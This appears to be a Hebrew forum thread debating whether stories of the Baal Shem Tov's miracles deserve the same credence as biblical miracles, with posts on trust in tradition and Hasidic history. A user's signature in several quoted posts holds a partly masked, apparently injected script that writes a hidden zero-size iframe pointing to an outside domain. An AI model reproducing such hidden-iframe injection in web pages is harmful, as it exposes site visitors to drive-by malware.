| נשלח ב-12/2/2012 15:00 |
 |
| |
על האימון
[ספורי הבעש"ט כמקרה מבחן] [כבר היה לנו אשכול של דייר שניסה להתחקות על קריטריון מתי יש לתת אימון] האימון הוא משהו חמקמק שקשה עד בלתי אפשרי לתת לו קריטריונים ברורים. אבל בהרבה דברים אין לנו יותר מהכלי הזה לברר באמצעותו מה היה. בכמה אשכולות עלה המקרה של סיפורי הבעש"ט, שמשום מה בחרו המשתתפים לא להאמין בהם, כראיה לאי אמינות סיפורי מסורת וכו', ומכאן נשאלה השאלה מאי שנא מסיפורי המקרא. אני חושב שדווקא דרך המשל הזה אפשר להסביר למה כן להאמין לסיפורי המקרא. אבל מתוך התבוננות במאמיני סיפורי הבעש"ט והמתכחשים אליו, אפשר להבין במה אנשים נותנים אימון. רוב האנשים שגדלו בחברה המתייחסת אחרי המורשת של הבעש"ט [ותלמידי ותלמידי תלמידיו] נוטים להאמין בכללות לסיפורים הללו. מובן שמי שניחון בקצת ביקורתיות מבין שלא כל המסופר היה ושנכנסו בדרך הרבה הגזמות ושקרים וכו' אבל בכללות הענין אין לו ספק. שהבעש"ט היה אדם מאד מיוחד עם כחות על טבעיים. האם רק האינרציה היא שגורמת להאמין? נראה לי שלא. אלא שהאדם נותן אימון באנשים שהוא מכיר כאנשים ישרים ונאמנים. זאת אומרת, התנאי העקרי לאימון הוא הכרה. מי שגדל בחברה בו לא שמע על הבעש"ט מעודו, יכול גם להסתפק אם היה אדם כזה בכלל. [אם יוכיחו לו ממישהו שהוא מכיר שהכיר את הבעש"ט, גם הוא ישתכנע] בעוד שאצל החי בחברה הזו זו מילתא דפשיטא לו ויצחק על עצם החקירה. אני דווקא מאמין שהבעש"ט עבר את הנהר [עם המטפחת או בלי לא חשוב] בדרך ניסי. למה? כי הסיפור נמסר לנו על ידי אנשים נאמנים עלי, שהכירו את הבעש"ט עצמו [הסיפור מובא ב"דגל מחנה אפרים". נכד הבעש"ט שהכירו] ועד שלא יהיה לי פירכא משמעותית על הסיפור הזה שלא היה יכול להיות [כמו "עמנו הייתם"] אמשיך להאמין בו. זה שלא נוח לנו כאנשים נאורים להאמין בניסים אינה סיבה מספיקה לפסול עדות מהימנה. עוד משל. אני לא האמנתי בסיאנסים עד ששמעתי מפי אדם שאני מעריך כאדם חכם ושקול שהוא עצמו השתתף בהם. [מובן שזה עוד לא מוכיח לגבי הפשר של דברים כאלו, רק שהתופעה קיימת]. למה יש לי אימון באנשים הללו? כי אני מכיר אותם, את החברה שלהם, את המורשת שלהם, את תלמידי תלמידיהם וכו', אני מרגיש חלק מהחברה שלהם. ובאנשים קרובים לי אני נותן אימון. האם אוכל להסביר לך איך יש לי אימון באדם מסויים? לא נראה לי, ולא נראה לי שאפשר להסביר זאת בכלל ולגרום שתהיה לך אימון במשהו. אם אתה עצמך תכיר את האדם יכול להיות שגם תאמין לו, אבל לא יותר מזה. לכן, כשמישהו טוען שיש לו אימון במסורת של עם ישראל על סיפורי המקרא שהיו, בגלל שהוא מכיר את העם הזה ומאמין לסיפוריהם [כמובן שאם הוא חכם יבין שעדיין יכול להיות שנשתרבבו שיבושים וכו'. אבל בכללות המסורת עדיין יאמין] איני חושב שהוא טיפש שמאמין רק בגלל שהוא שייך לחברה הזו, אלא שהשתייכותו לחברה הזו בנתה בו את האימון לסיפוריה. מי שאין לו אימון, גם אי אפשר לעשות לו כלום. וזה לא אומר שהוא חכם יותר או טיפש יותר.
תוקן על ידי יהיאור ב- 12/02/2012 15:11:11
 |
|
|
|
|
| נשלח ב-14/2/2012 15:03 |
|
| |
יהי צודק מאד כי אין שום עדיפות לסיפורי התנ"ך.
אינני בטוח שיש יתרון לסיפורי הבעש"ט, יש לבדוק את רוח התקופה ולהשוותה לתקופת התנ"ך. לא בטוח שזה אפשרי.
טענת ה"אימון" אין בה ממש.
הן בגלל שאין לנו שום היכרות אישית עם המספרים, אותם ה"דגל" מצטט, הן כי גאונות וצדקות אינן ערובה לאמינות ובוודאי שלא לפכחון וחוש ביקורת, הן בגלל הקרקע הפוריה עליה נבטו כל הסיפורים.
|
|
|
|
| נשלח ב-14/2/2012 14:36 |
|
| |
סליחה והלצות, לא כ"כ הולכים ביחד.
|
|
|
|
| נשלח ב-14/2/2012 14:29 |
|
| |
מה לא נכון, שאתה מאמין לנסי אליהו או שאתה לא מאמין לנסי הבעש'ט? 
כך התרשמתי, אם טעיתי אתך הסליחה.
|
|
|
|
| נשלח ב-14/2/2012 14:25 |
|
| |
יהי,
היכן ראית מה שהנך מייחס לח"מ ?
|
|
|
|
|
| נשלח ב-14/2/2012 14:16 |
|
| |
תורה ודעת, לומדת, ספרן, וכל השאר שמאמינים בניסי אליהו הנביא ושאר התנ"ך אך לא בניסי הבעש"ט.
אני נשאר עם שאלה אחת. במה ניסי התנ"ך אמינים יותר או פחות הזויים בעיניכם מאשר שבחי בעל שם טוב. רק שהם נכנסו בסוף לספר הקנונני שנקרא תנ"ך שהיהודים מאמינים בו? מה זה מוסיף לאמינוךת הסיפורים. אנחנו יודעים שהם קרו ונכתבו בתקופה בו לדבר על נסים לא היה דבר חריג בכלל. כל עמי האזור והתקופה שמעו כל הזמן את קול ה' [זה מתועד גם בתנ"ך] וקרו להם נסים מפליאים. האין מתבקש לאור השכלתנו שממאן לקבל סיפור נס לדחותו בדיוק כמו שאתם דוחים את סיפורי הבעש"ט?
אני מחפש הסבר רציונלי לחלק. לא אמוני שבתנ"ך מחוייבים להאמין ובשבחי הבעש"ט לא, זו לא תשובה שכלית כלל. [ואל תענו לי שנסי התנ"ך היו לפני רבים שכן זו טענה מופרכת אפילו לגבי מ"ת כ"ש לגבי שאר התנ"ך.]
|
|
|
|
| נשלח ב-14/2/2012 10:56 |
|
| |
הקב"ה מחדש את העולם כולו מדי יום בניסים נפלאים, אלא שהאדם המודרני התרגל להתבונן במציאות באופן גשמי עד שרק לעתים רחוקות מסוגל לשומעם.
|
|
|
|
| נשלח ב-14/2/2012 10:54 |
|
| |
כשהבעש"ט רצה להושיע את ישראל- נכנס ליער- מצא את המקום- הדליק את האש -אמר את התפילה- וזה היה עוזר
כשהמגיד ממזעריץ' רצה להושיע את ישראל. היה נכנס ליער את המקום הוא כבר לא מצא-היה מדליק את האש- נושא תפילה, וזה היה עוזר.
כש היהודי הקדוש רצה להושיע את ישראל, נכנס ליער- את המקום כבר לא מצא, ולא ידע כבר איך להדליק את האש- נשא תפילה וזה עזר
כשהרבי מרוזין -- רצה להושיע, לא מצא את היער- כבר לא מצא את המקום את האש הוא לא ידע להדליק אמר את התפילה וזה עזר
כשהשרף רבי אורי רצה להושיע את ישראל- אמר רק את התפילה- וזה עזר.
היום אנחנו לא יודעים איפה היער, לא מכירים את המקום-לא יודעים איך להדליק את האש- לא יודעים את התפילה,
אבל אנחנו יודעים לספר את הסיפור וזה עוזר ויעזור!
(מתוך זכרון מעורפל)
|
|
|
|
| נשלח ב-14/2/2012 09:52 |
|
| |
| מיימוני כתב: |  | צענע ויתכן
גם אני שולל, כמעט אפריורי, סיפורי מופתים נוסח "הוא הלך על המים".
אז אל תלינו עלי.
גם אני מבקש ראיות ברורות.
אבל אני מבין מי שיגיד: יש לי מסורת מבית סבא ועליה אני סומך. וכי עליו לזרוק את המסורת שלו על סמך ספקנות של אדם (אמנם חכם ומרשים) שהכיר דרך האינטרנט?
אולי צריך להכיר סבאים.
***
ירוחם
הביקורת שלך על מעשה הבעשט נאמרה לדעתי בידי רב יוסף על הסיפור על פנחס בן יאיר ונהר גינאי. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לא שעליו לזרוק את המסורת שלו על סמך ספקנות של אדם,כפי שכתבת בטעות.
האם שפינוזה השליך את המסורת בגלל שהסתמך על ספקנות של אדם אחר שפגש במקרה או לא במקרה?
לא.
הוא השתכנע מהתבוננות אישית בדברים וגם מטיעונים שקרא או ששמע .
כלומר מדובר בטיעונים ולא באנשים.
עדיין לא שמעתי טיעון נגד רציני על הטענה שפסו הניסים מיום המצאת המצלמות המאפשרות הצלבת מידע.
כלומר "אנן יתמי דיתמי"-התיתמנו דווקא ביום המצאת המכשיר הטכנולוגי המאיים-האם אדם סביר יגיד שאין כל קשר בין שתי התופעות?
ולגבי דבריך:"אולי צריך להכיר סבאים"
כאשר יהיאור בעז"ה ייהפך לסבא ויספר לנכדו החכם על המופתים והניסים של הבעש"ט מעניין איזה תשובה הוא יספק לנכדו כשישאל אותו:
אז איך קרה,סבי היקר,שאתה בעצמך לא ראית מופת בעיניך? האם קרה משהו בדורך שבגללו פסו המופתים,נעלמו הנפלאות?
|
|
|
|
| נשלח ב-14/2/2012 07:30 |
|
| |
תו'ד
הכל סברות טובות ויפות, אך התשובה לכולם הוא שיש לי אימון בו. [ומה הקשר ללהאמין באגדות? מדובר במשהו מכלי ראשון, ואני לא חושב שהבעש'ט שיקר]
וכבר סייגתי את האמון כל כך עד שאיני יודע מה נשאר ממנו, בכל אופן הנקודה העקרונית נשארת.
http://www.youtube.com/watch?v=2qMI8RKtHgs
ואידך זיל גמור, דרך אגב, את הרעיון של האותיות, שמראה כמה מיסטיקה היה ביהדות אנטי ראציונלי, אפשר לימצוא בנוסח קצת אחר בספר נפש החיים, ומובן איך בריסק מושרשים כבר מזמן ר"ח וולוז'נער בכל הרעיונות האלו. פי"ח
http://hebrewbooks.org/pdfpager.aspx?req=14565&st=&pgnum=68
תישמע אין לי עכשיו זמן בשביל חסידות, כשיפתרו כל הבעיות לפני זה אולי אעסוק גם בזה. בעיקרון אני חושב שיש בחסידות דברים מאוד יפים(כגון השמת דגש יותרעל פנימיות מאשר על חיצוניות ועוד), הקאלטע ליטוויקעס לא בדיוק קלטו מה המסר של החסידים, ומינגד החסידים הראשונים הגזימו לחלוטין בהיתנהגות שלהם(יש ספר של אחד וילנסקי 'מיתנגדים וחסידים', מיסמכים היסטוריים מעניינים) שם לומדים על החוסר תבונה המוחלט שהחסידים ניסו ליכבוש את היהדות, אם יש לכם שיטה יפה וחדשנית, תיתאפקו קצת, תחשבו אסטרטגיית איך להנחילה לרבים, אבל לא היה להם את התבונה הזאת(וגם כל ההתנהגות המוגזמת, כפי שמבואר שם), אולי כי כ"כ היה היתלהבות מהמסר שלה אחרי היובש העצום שהיה נחלת הרוב המוחלט של העם, למעט יושבי מיגדל השן בוילנא שלא קלטו ביכלל מה עובר על העם שבשדות(ממש כשיטת בריסק של היום, לחיות בתוך בועה, ולחשוב שכול השאר הם חלום). אבל לי אישית חוץ ממה שאני אוהב בהם, איין הרבה איתם, ואין לי חשק לעסוק בזה עכשיו.
רק כל הסיפורי שיבחי(בדיוק כמו כל הסיפורי ר"ח מוולוז'ין על המגידים של הגר"א כיעקב אבינו וכו') זה סיפורים מביישים, זה רק מראה איפה היינו תקועים.
הקשר לאגדות זה שיש תופעה (שגם היום עדיין מצויה אצל הספרדים, שדמיון הופך למציאות, קצת הזיות קצת דמיון וקצת ריגושים מיסטיים וכבר המציאות מתחילה להיות נזילה) הבעש"ט או הגר"א אמרו משהו חצי דמיון אישי בחצי פה והדמיון של תלמידיהם כבר השלים הסיפור. ועכשיו כל הכופר בשטויות האלו ככופר בעיקר רח"ל.
|
|
|
|
|
| נשלח ב-14/2/2012 06:17 |
|
| |
לומדת,
הסיפור עם רמ"מ מויטפסק אכן יפה בפשטותו. השאלה היא אם הינו מלמד למעשה משהו. מפני שהדובר בו, האמין כהבעש"ט ותלמידיו בהשגחה פרטית במובנה הקיצוני ביותר. אבל לא כן דעת הרמב"ם למשל, שכידוע מוביל את הנושא למחוזות אחרים לגמרי. הבעיה היא שבנושאים כאלה אין לנו פסק, מי צודק ?
|
|
|
|
| נשלח ב-14/2/2012 05:36 |
|
| |
לתחושתי, יהי אור מאמין במופת המטפחת והנהר (שאכן מגמד את נס קריעת ים סוף לגודל סיכה
ואם כך, אולי נחבר שירת הנהר או 'ויושע' המטפחת?)
כמו שאנחנו מאמינים בו.
כמו שהוא עצמו אומר, הוא סייג את זה כל כך
עד שמהנהר השוצף נשארה בקושי המטפחת.
ואם נרצה לעשות פה סיכום שמקובל על כולם,
אז הייתי אומרת שהדבר שכבר הכי אפשר להתחבר אליו פה,
יותר מלכל הסבר וראיה אחרת, (ויותר מהאמון לדג"א
שאין לנו מושג, למרות צדקתו וקדושתו, אם האמין בסיפורי עם לא סבירים או לא,
ששמע שסבו אמר לאי מי,)
זה שכמו שכתב יתכן
עד כדי כך כוחה של טומאת הטלוויזיה להרבות הסתר פנים?
אולי בזה נעוץ הסוד, באמת.
לפני הטלויזיה יכלו לחצות נהר במטפחות חדשות או משומשות,
ובדורנו, מה לעשות, נותרה המטפחת רק מטפחת,
וגם משימוש זה היא הולכת ופוחתת לטובת הטישו.
אגב יש ספור חסידים יפה מאד בעיני
כאשר רבי מנחם מנדל מויטבסק עלה לא"י נדמה לי
או סתם כך הפליג עם תלמידיו ברפסודה בנהר
התפרקה הרפסודה
ומצאו עצמם על קורת עץ אחת מאורכת וצרה
ופחדו
אמר הצדיק:
הרי גם קודם היינו בעצם על קורה זו
אולם חשנו בטחון
כי היתה קורה לימינה וקורה לשמאלה
האם הקב"ה ועזרתו לא שקולים אצלנו כנגד קורה מימין וקורה משמאל?
זה בעיני ספור יפה ומרגש, לא ספור מופת
הוא לא הצביע על נס שקורה להם ברגע ההוא
אלא הצליל את תשומת הלב והמחשבה
שגם כשיש רפסודה, אנו נמצאים למעשה באותו מצב כמו כשנמצאים על קורה אחת,
רק הרגשתנו שונה.
ולמרות זאת, גם ספור זה אינני בטוחה שהיה
כי אינני בטוחה שאפשר אכן להפליג על גבי קורה אחת
אלא אם כן היתה רחבה והמים היו שקטים.
וגם אם היתה רחבה והמים היו שקטים
הספור עדיין יפה ומלמד, כי אינני ספור מופת\נס
אלא ספור הסתכלות בזווית שונה
ונתינת אמון בהשם.
גם מי שאינו מאמין בהשם,
עדיין יכול להנות מהספור בשל ההסתכלות השונה והצלולה על המציאות.
אבל כשמאמינים, זה יותר יפה. הרבה יותר יפה
ואפשר לקחת את זה לחיי היום יום
במצבים שנשמט מאתנו משהו שנתן בטחון
לומר לעצמנו שגם קודם זה רק נתן תחושת בטחון
אבל הבטחון לא היה מדבר זה,
והשם שקול כנגד מה שחשבנו שנתן בטחון
והוא סועדנו מימין ומשמאל, מלמטה ולמעלה.
וגם, בין היתר, בפורום הזה.
|
|
|
|
|
| נשלח ב-14/2/2012 00:05 |
|
| |
צענע ויתכן
גם אני שולל, כמעט אפריורי, סיפורי מופתים נוסח "הוא הלך על המים".
אז אל תלינו עלי.
גם אני מבקש ראיות ברורות.
אבל אני מבין מי שיגיד: יש לי מסורת מבית סבא ועליה אני סומך. וכי עליו לזרוק את המסורת שלו על סמך ספקנות של אדם (אמנם חכם ומרשים) שהכיר דרך האינטרנט?
אולי צריך להכיר סבאים.
***
ירוחם
הביקורת שלך על מעשה הבעשט נאמרה לדעתי בידי רב יוסף על הסיפור על פנחס בן יאיר ונהר גינאי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/2/2012 23:04 |
|
| |
| מיימוני כתב: | | צענע
ציטטת אמירה יפה מאד שלא הכרתי כנראה מדברי ייתכן. והיא שעם המצאת טכנולוגיות מעקב שוב אי אפשר לספר סיפורי מופתים כמו בעבר.
הבהרה:מה שהבאתי לא היה ציטוט.
אילו הייתי מצטטת הייתי מוסיפה מרכאות.
אם תשים לב כתבתי:כמו שכתב יתכן באשכול אחר-כלומר הרעיון הוא שלו אבל המילים הן שלי..
ייתכן כתב ,ולדעתי זו הנקודה החשובה ביותר בעניין אמון/לא אמון בניסים -איך קורה שמאז ההמצאות האלה לא ראינו אדמור ששט על המים על גבי חגורה.
האם אדם סביר ,לפני שהוא מחליט להאמין אינו שואל את עצמו איך קורה שפסו הניסים,פסו השדים ופסו המופתים מהסוג של שיט על פני המים על גבי מטפחת ?????
ועוד מסתבר שמוטיב המטפחת הוא בכלל מוטיב קלסי אפייני של ניסים (במילים אחרות בובע מעיישעס)(ישו כידוע לא נזקק אפילו למטפחת והוא פשוט הלך על המים...)
זה נכון ולא נכון.
זה נכון שיש אפשרות ביקורת.
אבל זה גם נכון שיש סיפורים חדשים של בדיות. וכפי שניתן לבדוק כך ניתן לבדות ואפילו לזייף ראיות כביכול.
האם אפשר להאמין לצילומים? תלוי מי צילם ומי מעיד.
וכל זה נוגע אך ורק לסיפורים שמהוים הדחיה של חוקי הטבע. ודאי שאין כאן דחיה של סיפורי נס שעומד על שילוב האירועים הנדיר והמשמעותי ולא על תופעה בלתי אפשרית לפי חוקי הטבע המוכרים לנו. כמובן, לא ניתן באותה קלות להביא סיפורים שלא היו ולא נבראו. אבל האם אין זה נכון שדווקא בתקשורת רווחים סיפורים רבים מאי פעם, והמלאכה לברר רבה מאי פעם?
היו דוגמאות רבות לזה בפורום.
לפיכך, דומה שהקביעה של ייתכן היא אופטימית מדי.
(ואם צריך לומר זאת: אני מאד מאד בעד בירור האמת והפלת השקר). _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לגבי הטענה על השקרים היום בטלוויזיה-ההשוואה מגוחכת.
האם שמעת לאחרונה על מישהו שחמישים צלמים מחמישים עיתונים צילמו אותו כשהוא שט על המים על גבי מטפחת?
הדבר לא קרה כי היום אי אפשר לרמות . היום אפשר להצליב מאות אמצעי תקשורת .
יש יוצא מן הכלל אחד-צפון קוריאה .
והיוצא מן הכלל הזה מעיד כאלף עדים על הכלל.
תוקן על ידי צענערענע ב- 13/02/2012 23:05:09
|
|
|
|
| נשלח ב-13/2/2012 22:40 |
|
| |
תו'ד
הכל סברות טובות ויפות, אך התשובה לכולם הוא שיש לי אימון בו. [ומה הקשר ללהאמין באגדות? מדובר במשהו מכלי ראשון, ואני לא חושב שהבעש'ט שיקר]
וכבר סייגתי את האמון כל כך עד שאיני יודע מה נשאר ממנו, בכל אופן הנקודה העקרונית נשארת.
|
|
|
|
| נשלח ב-13/2/2012 22:28 |
|
| |
מה שלי יש הערה, זה שמוכח שכבר אז היו החגורות, כמו המודערנער פאס של היום ללא נקבים, כי אחרת מאי שנא חגורה מנוקבת בחורים מאשר ספינה מנוקבת, אייך לא שקע הפאס.?(זה סתם הלצה)
אבל למה הדגל מחנה אפרים נאמן עליך, דיברת איתו פעם על מה הוא מאמין בסיפורי אגדות ומה לא?, אף אם הוא גאון בפירושים, מי אמר לך מה הוא באמונות, אני מכיר גאונים ממש, שבעניני אמונה הם חיידר קינדער. פשוט לא יאומן, במה שמיתרגלים לחשוב ולחקור מדהים לדבר איתם, אבל כשמגיע לקצת לוגיות, 'יין נסך' ו'שחיטתו נכרי' זה גג ההבנה שלהם.
כדאי לכם ליקרוא הקדמת ר"ח מוולאוז'ין בהקדמת הספרד"צ ביאור הגר"א, תיראו שסיפורי חסידים, יש יותר אצל הליטוויקעס
|
|
|
|
|
